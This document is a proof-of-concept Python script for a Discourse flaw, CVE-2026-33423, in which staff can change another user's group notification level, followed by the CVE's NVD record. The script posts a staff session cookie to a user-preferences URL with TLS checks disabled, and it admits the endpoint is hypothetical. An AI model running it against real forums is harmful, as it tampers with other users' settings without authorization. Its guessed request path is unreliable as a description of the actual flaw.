CVE-2026-33423

# Proof of Concept for CVE-2026-33423 # Description: Demonstrates how a staff user can modify another user's group notification level. import requests def exploit_notification_level(target_domain, target_user_id, staff_session_token, new_level): """ Attempts to change the group notification level of a target user. :param target_domain: The URL of the target Discourse instance (e.g., https://example.com) :param target_user_id: The ID or username of the victim :param staff_session_token: Session cookie of the attacker (Staff account) :param new_level: The desired notification level (integer) """ headers = { "Cookie": f"_forum_session={staff_session_token}", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Hypothetical endpoint based on Discourse API structure for user preferences url = f"{target_domain}/u/{target_user_id}/notifications" payload = { "notification_level": new_level } try: response = requests.post(url, headers=headers, data=payload, verify=False) if response.status_code == 200: print(f"[+] Successfully modified notification level for user {target_user_id} to {new_level}.") else: print(f"[-] Failed. Status Code: {response.status_code}, Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Configuration TARGET = "https://target-discourse.com" VICTIM_ID = "100" # ID of the user to target ATTACKER_SESSION = "valid_staff_session_cookie_here" NEW_NOTIFICATION_LEVEL = 3 # Example level exploit_notification_level(TARGET, VICTIM_ID, ATTACKER_SESSION, NEW_NOTIFICATION_LEVEL)

{"cve": {"id": "CVE-2026-33423", "sourceIdentifier": "[email protected]", "published": "2026-03-20T23:16:47.983", "lastModified": "2026-03-25T19:12:32.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, staff can modify any user's group notification level. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, el personal puede modificar el nivel de notificación de grupo de cualquier usuario. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche. No hay soluciones alternativas conocidas disponibles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/security/advisories/GHSA-qggq-wr6h-vhrg", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}